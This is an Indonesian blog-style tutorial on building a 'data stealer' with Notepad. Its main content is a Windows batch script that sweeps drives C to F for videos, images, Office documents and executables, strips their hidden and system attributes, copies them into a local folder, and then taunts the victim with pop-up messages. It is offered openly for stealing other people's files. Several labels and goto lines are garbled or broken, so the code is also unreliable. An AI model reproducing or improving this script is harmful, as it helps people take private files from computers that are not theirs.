Cara Membuat Program Pencuri Data Dengan Notepad
Cara Membuat Program
Pencuri Data Dengan Notepad program ini berfungsi untuk mencuri data seperti:
*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx
dan lainnya sudah tersedia dalam script berikut, caranya mudah banget
dan lainnya sudah tersedia dalam script berikut, caranya mudah banget
1. Buka Notepad
kalian melalui accessories atau melalui Run ketikan notepad.
2. Setelah kebuka
notepadnya copy paste script berikut :
Sciptnya
echo off
color 0a
mode 31,15
if "%1"=="/?"
goto Sej
if not
"%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk
mencuri
msg * File atau data2
korban
echo.
echo
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program
Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai
³
echo
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption
echo ------EKSTENSI
FILE----------
echo [1] 3gp [4] jpg
[7] doc
echo [2] wmv [5] rm
[8] xls
echo [3] avi [6] mpg
[9] Exit
echo [10] exe
echo
=============================
echo.
set/p "pil=Masukan
Pilihan: "
if %pil%=='' goto
option
if %pil%==1 goto 3gp
if %pil%==2 goto wmv
if %pil%==3 goto avi
if %pil%==4 goto jpg
if %pil%==5 goto rm
if %pil%==6 goto mpg
if %pil%==7 goto
if %pil%==8 goto m
if %pil%==9 goto
keluar
if %pil%==10 goto exe
goto option
:3gp
Set
Maling=%computername%_%random%
If not exist
"%Maling%" Md "%Maling%"
For %%a in (C D E F)
do if exist %%a:\ (
For /f
"tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r
"%%b"
copy "%%b" "%Maling%"
/y)
)
echo sudah tidak
ditemukan file nyah
pause >nul
cls
goto awal
goto option
:goto wmv
Set
Maling=%computername%_%random%
If not exist
"%Maling%" Md "%Maling%"
For %%a in (C D E F)
do if exist %%a:\ (
For /f
"tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r
"%%b"
copy "%%b"
"%Maling%" /y)
)
cls
echo sudah tidak
ditemukan file nyah
pause >nul
goto option
:avi
Set
Maling=%computername%_%random%
If not exist
"%Maling%" Md "%Maling%"
For %%a in (C D E F)
do if exist %%a:\ (
For /f
"tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r
"%%b"
copy "%%b"
"%Maling%" /y)
)
echo sudah tidak
ditemukan file nyah
pause >nul
cls
goto option
:jpg
Set
Maling=%computername%_%random%
If not exist
"%Maling%" Md "%Maling%"
For %%a in (C D E F)
do if exist %%a:\ (
For /f
"tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r
"%%b"
copy "%%b"
"%Maling%" /y)
)
echo sudah tidak
ditemukan file nyah
pause >nul
cls
goto option
:rm
Set
Maling=%computername%_%random%
If not exist
"%Maling%" Md "%Maling%"
For %%a in (C D E F)
do if exist %%a:\ (
For /f
"tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r
"%%b"
copy "%%b"
"%Maling%" /y)
)
echo sudah tidak
ditemukan file nyah
pause >nulcls
goto option
:mpg
Set
Maling=%computername%_%random%
If not exist
"%Maling%" Md "%Maling%"
For %%a in (C D E F)
do if exist %%a:\ (
For /f
"tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r
"%%b"
copy "%%b"
"%Maling%" /y)
)
echo sudah tidak
ditemukan file nyah
pause >nul
cls
goto option
:doc
Set
Maling=%computername%_%random%
If not exist
"%Maling%" Md "%Maling%"
For %%a in (C D E F)
do if exist %%a:\ (
For /f
"tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r
"%%b"
copy "%%b"
"%Maling%" /y)
)
echo sudah tidak
ditemukan file nyah
pause >nul
cls
goto option
:xls
Set
Maling=%computername%_%random%
If not exist
"%Maling%" Md "%Maling%"
For %%a in (C D E F)
do if exist %%a:\ (
For /f
"tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r
"%%b"
copy "%%b"
"%Maling%" /y)
)
echo sudah tidak
ditemukan file nyah
pause >nul
cls
goto option
:exe
Set
Maling=%computername%_%random%
If not exist
"%Maling%" Md "%Maling%"
For %%a in (C D E F)
do if exist %%a:\ (
For /f
"tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r
"%%b"
copy "%%b"
"%Maling%" /y)
)
echo sudah tidak
ditemukan file nyah
pause >nul
cls
:keluar
msg * data telah ter
ambil!!!
msg * Hayoo !!! Dta
kmu tuh apa ya???
msg * HEhehehehe
msg * by sohai
Exit
3. Kalau Sudah save
filenya dengan ekstensi *bat dan Save As Type nya isi dengan All File
contoh :
Curidataorang.bat
